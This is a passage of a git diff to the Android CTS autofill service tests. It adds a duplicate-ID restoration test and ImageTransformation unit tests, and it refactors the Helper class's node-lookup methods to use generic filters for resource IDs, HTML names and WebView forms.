+            Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+        }
+
+        setContentView(R.layout.duplicate_id_layout);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
new file mode 100644
index 0000000..8eea095
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.DuplicateIdActivity.DUPLICATE_ID;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.assist.AssistStructure;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public class DuplicateIdActivityTest extends AutoFillServiceTestCase {
+    private static final String LOG_TAG = DuplicateIdActivityTest.class.getSimpleName();
+    @Rule
+    public final AutofillActivityTestRule<DuplicateIdActivity> mActivityRule = new AutofillActivityTestRule<>(
+            DuplicateIdActivity.class);
+
+    private DuplicateIdActivity mActivity;
+
+    @Before
+    public void setup() {
+        Helper.disableAutoRotation(sUiBot);
+        sUiBot.setScreenOrientation(0);
+
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void teardown() {
+        mActivity.finish();
+
+        Helper.allowAutoRotation();
+    }
+
+    /**
+     * Find the views that are tested from the structure in the request
+     *
+     * @param request The request
+     *
+     * @return An array containing the two tested views
+     */
+    private AssistStructure.ViewNode[] findViews(InstrumentedAutoFillService.FillRequest request) {
+        assertThat(request.structure.getWindowNodeCount()).isEqualTo(1);
+        AssistStructure.WindowNode windowNode = request.structure.getWindowNodeAt(0);
+
+        AssistStructure.ViewNode rootNode = windowNode.getRootViewNode();
+
+        assertThat(rootNode.getChildCount()).isEqualTo(2);
+        return new AssistStructure.ViewNode[]{rootNode.getChildAt(0), rootNode.getChildAt(1)};
+    }
+
+    @Test
+    public void testDoNotRestoreDuplicateAutofillIds() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(DUPLICATE_ID, "value")
+                        .setPresentation(createPresentation("dataset"))
+                        .build())
+                .build());
+
+        // Select field to start autofill
+        runShellCommand("input keyevent KEYCODE_TAB");
+
+        waitUntilConnected();
+        InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
+
+        AssistStructure.ViewNode[] views = findViews(request);
+        AssistStructure.ViewNode view1 = views[0];
+        AssistStructure.ViewNode view2 = views[1];
+        AutofillId id1 = view1.getAutofillId();
+        AutofillId id2 = view2.getAutofillId();
+
+        Log.i(LOG_TAG, "view1=" + id1);
+        Log.i(LOG_TAG, "view2=" + id2);
+
+        // Both checkboxes use the same id
+        assertThat(view1.getId()).isEqualTo(view2.getId());
+
+        // They got different autofill ids though
+        assertThat(id1).isNotEqualTo(id2);
+
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Force rotation to force onDestroy->onCreate cycle
+        sUiBot.setScreenOrientation(1);
+
+        // Select other field to trigger new partition
+        runShellCommand("input keyevent KEYCODE_TAB");
+
+        request = sReplier.getNextFillRequest();
+
+        views = findViews(request);
+        AutofillId recreatedId1 = views[0].getAutofillId();
+        AutofillId recreatedId2 = views[1].getAutofillId();
+
+        Log.i(LOG_TAG, "restored view1=" + recreatedId1);
+        Log.i(LOG_TAG, "restored view2=" + recreatedId2);
+
+        // For the restoring logic the two views are the same. Hence it might happen that the first
+        // view is restored with the id of the second view or the other way round.
+        // We just need
+        // - to restore as many views as we can (i.e. one)
+        // - make sure the autofill ids are still unique after
+        boolean view1WasRestored = (recreatedId1.equals(id1) || recreatedId1.equals(id2));
+        boolean view2WasRestored = (recreatedId2.equals(id1) || recreatedId2.equals(id2));
+
+        // One id was restored
+        assertThat(view1WasRestored || view2WasRestored).isTrue();
+
+        // The views still have different autofill ids
+        assertThat(recreatedId1).isNotEqualTo(recreatedId2);
+
+        waitUntilDisconnected();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
index 1a64b8c..6f27fbe 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
@@ -16,9 +16,9 @@
 
 package android.autofillservice.cts;
 
-import android.support.annotation.Nullable;
 import android.app.Activity;
 import android.os.Bundle;
+import android.support.annotation.Nullable;
 
 /**
  * Empty activity
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
index cf6471b..ce97408 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
@@ -20,8 +20,8 @@
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
-
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.os.Bundle;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
index ce05c2b..6dd9ee4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
@@ -16,9 +16,9 @@
 
 package android.autofillservice.cts;
 
-import android.support.annotation.Nullable;
 import android.app.Fragment;
 import android.os.Bundle;
+import android.support.annotation.Nullable;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
index d0b6730..33321c7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -21,10 +21,10 @@
 import android.widget.Button;
 import android.widget.EditText;
 
+import java.util.ArrayList;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
-import java.util.ArrayList;
 
 /**
  * Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 0280b44..1000373 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -16,10 +16,10 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.runShellCommand;
 import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
 import static android.autofillservice.cts.UiBot.PORTRAIT;
 import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -30,16 +30,18 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.icu.util.Calendar;
-import android.os.UserManager;
 import android.service.autofill.FillContext;
 import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
 import android.support.test.InstrumentationRegistry;
 import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 import android.view.View;
 import android.view.ViewStructure.HtmlInfo;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -54,11 +56,10 @@
 
     private static final String TAG = "AutoFillCtsHelper";
 
-    // TODO: should static import Settings.Secure instead, but that's not a @TestApi
-    private static String USER_SETUP_COMPLETE = "user_setup_complete";
-
     static final boolean VERBOSE = false;
 
+    static final String MY_PACKAGE = "android.autofillservice.cts";
+
     static final String ID_USERNAME_LABEL = "username_label";
     static final String ID_USERNAME = "username";
     static final String ID_PASSWORD_LABEL = "password_label";
@@ -66,6 +67,8 @@
     static final String ID_LOGIN = "login";
     static final String ID_OUTPUT = "output";
 
+    private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
+
     /**
      * Timeout (in milliseconds) until framework binds / unbinds from service.
      */
@@ -97,11 +100,21 @@
     static final int UI_TIMEOUT_MS = 2000;
 
     /**
+     * Timeout (in milliseconds) for an activity to be brought out to top.
+     */
+    static final int ACTIVITY_RESURRECTION_MS = 5000;
+
+    /**
      * Timeout (in milliseconds) for changing the screen orientation.
      */
     static final int UI_SCREEN_ORIENTATION_TIMEOUT_MS = 5000;
 
     /**
+     * Timeout (in milliseconds) for using Recents to swtich activities.
+     */
+    static final int UI_RECENTS_SWITCH_TIMEOUT_MS = 200;
+
+    /**
      * Time to wait in between retries
      */
     static final int RETRY_MS = 100;
@@ -109,6 +122,43 @@
     private final static String ACCELLEROMETER_CHANGE =
             "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
                     + "--bind value:i:%d";
+
+    /**
+     * Helper interface used to filter Assist nodes.
+     */
+    interface NodeFilter {
+        /**
+         * Returns whether the node passes the filter for such given id.
+         */
+        boolean matches(ViewNode node, Object id);
+    }
+
+    private static final NodeFilter RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(node.getIdEntry());
+    };
+
+    private static final NodeFilter HTML_NAME_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node));
+    };
+
+    private static final NodeFilter TEXT_FILTER = (node, id) -> {
+        return id.equals(node.getText());
+    };
+
+    private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
+        // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
+        // inside HtmlInfo, but Chromium 61 does not implement that.
+        final String className = node.getClassName();
+        final String formName;
+        if (className.equals("android.webkit.WebView")) {
+            final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+            formName = getAttributeValue(htmlInfo, "name");
+        } else {
+            formName = className;
+        }
+        return id.equals(formName);
+    };
+
     /**
      * Runs a {@code r}, ignoring all {@link RuntimeException} and {@link Error} until the
      * {@link #UI_TIMEOUT_MS} is reached.
@@ -136,7 +186,7 @@
                     if (e instanceof RetryableException) {
                         throw e;
                     } else {
-                        throw new Exception("Timedout out after " + timeout + " ms", e);
+                        throw new RetryableException(e, "Timedout out after %d ms", timeout);
                     }
                 }
             }
@@ -229,6 +279,7 @@
             .append(" class=").append(node.getClassName())
             .append(" text=").append(node.getText())
             .append(" class=").append(node.getClassName())
+            .append(" webDomain=").append(node.getWebDomain())
             .append(" #children=").append(childrenSize);
 
         buffer.append("\n").append(prefix)
@@ -253,15 +304,16 @@
     }
 
     /**
-     * Gets a node given its Android resource id, or {@code null} if not found.
+     * Gets a node if it matches the filter criteria for the given id.
      */
-    static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+    static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
+            @NonNull NodeFilter filter) {
         Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
         final int nodes = structure.getWindowNodeCount();
         for (int i = 0; i < nodes; i++) {
             final WindowNode windowNode = structure.getWindowNodeAt(i);
             final ViewNode rootNode = windowNode.getRootViewNode();
-            final ViewNode node = findNodeByResourceId(rootNode, resourceId);
+            final ViewNode node = findNodeByFilter(rootNode, id, filter);
             if (node != null) {
                 return node;
             }
@@ -270,34 +322,101 @@
     }
 
     /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
+            @NonNull NodeFilter filter) {
+        for (FillContext context : contexts) {
+            ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
+            @NonNull NodeFilter filter) {
+        if (filter.matches(node, id)) {
+            return node;
+        }
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
+                if (found != null) {
+                    return found;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+        return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
      * Gets a node given its Android resource id, or {@code null} if not found.
      */
     static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
-        for (FillContext context : contexts) {
-            ViewNode node = findNodeByResourceId(context.getStructure(), resourceId);
-            if (node != null) {
-                return node;
-            }
-        }
-        return null;
+        return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
     }
 
     /**
      * Gets a node given its Android resource id, or {@code null} if not found.
      */
     static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
-        if (resourceId.equals(node.getIdEntry())) {
-            return node;
+        return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
+        return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
+        return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
+        return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets the {@code name} attribute of a node representing an HTML input tag.
+     */
+    @Nullable
+    static String getHtmlName(@NonNull ViewNode node) {
+        final HtmlInfo htmlInfo = node.getHtmlInfo();
+        if (htmlInfo == null) {
+            return null;
         }
-        final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                final ViewNode found = findNodeByResourceId(node.getChildAt(i), resourceId);
-                if (found != null) {
-                    return found;
-                }
+        final String tag = htmlInfo.getTag();
+        if (!"input".equals(tag)) {
+            Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
+            return null;
+        }
+        for (Pair<String, String> attr : htmlInfo.getAttributes()) {
+            if ("name".equals(attr.first)) {
+                return attr.second;
             }
         }
+        Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
         return null;
     }
 
@@ -305,48 +424,26 @@
      * Gets a node given its expected text, or {@code null} if not found.
      */
     static ViewNode findNodeByText(AssistStructure structure, String text) {
-        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            final ViewNode rootNode = windowNode.getRootViewNode();
-            final ViewNode node = findNodeByText(rootNode, text);
-            if (node != null) {
-                return node;
-            }
-        }
-        return null;
+        return findNodeByFilter(structure, text, TEXT_FILTER);
     }
 
     /**
      * Gets a node given its expected text, or {@code null} if not found.
      */
     static ViewNode findNodeByText(ViewNode node, String text) {
-        if (text.equals(node.getText())) {
-            return node;
-        }
-        final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                final ViewNode found = findNodeByText(node.getChildAt(i), text);
-                if (found != null) {
-                    return found;
-                }
-            }
-        }
-        return null;
+        return findNodeByFilter(node, text, TEXT_FILTER);
     }
 
     /**
      * Asserts a text-base node is sanitized.
      */
     static void assertTextIsSanitized(ViewNode node) {
-      final CharSequence text = node.getText();
-      final String resourceId = node.getIdEntry();
-      if (!TextUtils.isEmpty(text)) {
-          throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
-      }
-      assertNodeHasNoAutofillValue(node);
+        final CharSequence text = node.getText();
+        final String resourceId = node.getIdEntry();
+        if (!TextUtils.isEmpty(text)) {
+            throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
+        }
+        assertNodeHasNoAutofillValue(node);
     }
 
     static void assertNodeHasNoAutofillValue(ViewNode node) {
@@ -624,35 +721,6 @@
     }
 
     /**
-     * Wait until a process starts and returns the process ID of the process.
-     *
-     * @return The pid of the process
-     */
-    public static int getOutOfProcessPid(@NonNull String processName) {
-        long startTime = System.currentTimeMillis();
-
-        while (System.currentTimeMillis() - startTime <= UI_TIMEOUT_MS) {
-            String[] allProcessDescs = runShellCommand("ps -eo PID,ARGS=CMD").split("\n");
-
-            for (String processDesc : allProcessDescs) {
-                String[] pidAndName = processDesc.trim().split(" ");
-
-                if (pidAndName[1].equals(processName)) {
-                    return Integer.parseInt(pidAndName[0]);
-                }
-            }
-
-            try {
-                Thread.sleep(RETRY_MS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
-        }
-
-        throw new IllegalStateException("process not found");
-    }
-
-    /**
      * Gets the maximum number of partitions per session.
      */
     public static int getMaxPartitions() {
@@ -738,9 +806,17 @@
      * Asserts that there is no session left in the service.
      */
     public static void assertNoDanglingSessions() {
-        final String command = "cmd autofill list sessions";
-        final String result = runShellCommand(command);
-        assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+        final String result = runShellCommand(CMD_LIST_SESSIONS);
+        assertWithMessage("Dangling sessions ('%s'): %s'", CMD_LIST_SESSIONS, result).that(result)
+                .isEmpty();
+    }
+
+    /**
+     * Asserts that there is a pending session for the given package.
+     */
+    public static void assertHasSessions(String packageName) {
+        final String result = runShellCommand(CMD_LIST_SESSIONS);
+        assertThat(result).contains(packageName);
     }
 
     /**
@@ -818,6 +894,53 @@
         AuthenticationActivity.resetStaticState();
     }
 
+    /**
+     * Asserts the node has an {@code HTMLInfo} property, with the given tag.
+     */
+    public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
+        final HtmlInfo info = node.getHtmlInfo();
+        assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
+        assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
+        return info;
+    }
+
+    /**
+     * Gets the value of an {@code HTMLInfo} attribute.
+     */
+    @Nullable
+    public static String getAttributeValue(HtmlInfo info, String attribute) {
+        for (Pair<String, String> pair : info.getAttributes()) {
+            if (pair.first.equals(attribute)) {
+                return pair.second;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts a {@code HTMLInfo} has an attribute with a given value.
+     */
+    public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
+        final String actualValue = getAttributeValue(info, attribute);
+        assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
+        assertWithMessage("Wrong value for Attribute %s", attribute)
+            .that(actualValue).isEqualTo(expectedValue);
+    }
+
+    /**
+     * Finds a {@link WebView} node given its expected form name.
+     */
+    public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
+        return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
+    }
+
+    /**
+     * Finds a {@link WebView} node given its expected form name.
+     */
+    public static ViewNode findWebViewNode(ViewNode node, String formName) {
+        return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+    }
+
     private Helper() {
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
new file mode 100644
index 0000000..01878ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+/**
+ * Enum used to explain the meaning of node ids used by test cases.
+ */
+enum IdMode {
+    RESOURCE_ID,
+    HTML_NAME
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
new file mode 100644
index 0000000..e96df05
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.only;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class ImageTransformationTest {
+
+    @Test
+    public void testAllNullBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(null, null, 0));
+    }
+
+    @Test
+    public void testNullAutofillIdBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(null, Pattern.compile(""), 1));
+    }
+
+    @Test
+    public void testNullRegexBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(new AutofillId(1), null, 1));
+    }
+
+    @Test
+    public void testNullSubstBuilder() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
+    }
+
+    @Test
+    public void fieldCannotBeFound() throws Exception {
+        AutofillId unknownId = new AutofillId(42);
+
+        ImageTransformation trans = new ImageTransformation
+                .Builder(unknownId, Pattern.compile("val"), 1)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+        trans.apply(finder, template, 0);
+
+        // if a view cannot be found, nothing is set
+        verify(template, never()).setImageViewResource(anyInt(), anyInt());
+    }
+
+    @Test
+    public void theOneOptionsMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*"), 42)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 42);
+    }
+
+    @Test
+    public void noOptionsMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile("val"), 42)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("bad-val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template, never()).setImageViewResource(anyInt(), anyInt());
+    }
+
+    @Test
+    public void multipleOptionsOneMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*1"), 1)
+                .addOption(Pattern.compile(".*2"), 2)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 2);
+    }
+
+    @Test
+    public void twoOptionsMatch() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*a.*"), 1)
+                .addOption(Pattern.compile(".*b.*"), 2)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("ab");
+
+        trans.apply(finder, template, 0);
+
+        // If two options match, the first one is picked
+        verify(template, only()).setImageViewResource(0, 1);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 9650fff..3859138 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -53,8 +53,11 @@
  */
 public class InstrumentedAutoFillService extends AutofillService {
 
-    static final String SERVICE_NAME = InstrumentedAutoFillService.class.getPackage()
-            .getName() + "/." + InstrumentedAutoFillService.class.getSimpleName();
+    static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
+    static final String SERVICE_CLASS = "InstrumentedAutoFillService";
+
+    static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
+    protected static final String sServiceLabel = SERVICE_CLASS;
 
     private static final String TAG = "InstrumentedAutoFillService";
 
@@ -97,13 +100,13 @@
     @Override
     public void onFillRequest(android.service.autofill.FillRequest request,
             CancellationSignal cancellationSignal, FillCallback callback) {
+        if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
         synchronized (sLock) {
             if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts()))  {
                 Log.w(TAG, "Ignoring onFillRequest()");
                 return;
             }
         }
-        if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
         sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
                 cancellationSignal, callback, request.getFlags());
     }
@@ -111,13 +114,13 @@
     @Override
     public void onSaveRequest(android.service.autofill.SaveRequest request,
             SaveCallback callback) {
+        if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
         synchronized (sLock) {
             if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
                 Log.w(TAG, "Ignoring onSaveRequest()");
                 return;
             }
         }
-        if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
         sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
     }
 
@@ -252,6 +255,13 @@
         private Replier() {
         }
 
+
+        private IdMode mIdMode = IdMode.RESOURCE_ID;
+
+        public void setIdMode(IdMode mode) {
+            this.mIdMode = mode;
+        }
+
         public void acceptRequestsFromPackage(String packageName) {
             mAcceptedPackageName = packageName;
         }
@@ -395,8 +405,20 @@
                     return;
                 }
 
-                final FillResponse fillResponse = response.asFillResponse(
-                        (id) -> Helper.findNodeByResourceId(contexts, id));
+                final FillResponse fillResponse;
+
+                switch (mIdMode) {
+                    case RESOURCE_ID:
+                        fillResponse = response.asFillResponse(
+                                (id) -> Helper.findNodeByResourceId(contexts, id));
+                        break;
+                    case HTML_NAME:
+                        fillResponse = response.asFillResponse(
+                                (name) -> Helper.findNodeByHtmlName(contexts, name));
+                        break;
+                    default:
+                        throw new IllegalStateException("Unknown id mode: " + mIdMode);
+                }
 
                 Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
                 callback.onSuccess(fillResponse);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 9a0d70c..b41cef8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -20,8 +20,8 @@
